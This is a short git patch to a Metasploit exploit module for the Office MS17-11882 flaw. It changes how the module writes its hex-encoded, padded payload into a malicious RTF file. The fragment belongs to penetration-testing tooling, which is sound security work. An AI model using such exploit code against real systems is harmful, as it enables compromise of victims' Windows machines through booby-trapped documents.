From fcea6fd8d4af65ee9f308c5e149caf294d5a4eb9 Mon Sep 17 00:00:00 2001 From: Austin <30811388+realoriginal@users.noreply.github.com> Date: Tue, 21 Nov 2017 15:00:06 -0500 Subject: [PATCH] actually create new file ;-; --- modules/exploits/windows/fileformat/office_ms17_11882.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb index e5f44235ec..83995534f2 100644 --- a/modules/exploits/windows/fileformat/office_ms17_11882.rb +++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb @@ -134,10 +134,10 @@ class MetasploitModule < Msf::Exploit::Remote payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first payload = header + payload + footer - rtf = File.new(datastore['FILENAME'], 'w') - rtf.write(payload) - rtf.close - rtf + ::File.open(datastore['FILENAME'], 'wb') do |fd| + fd.write(payload) + fd.close + end end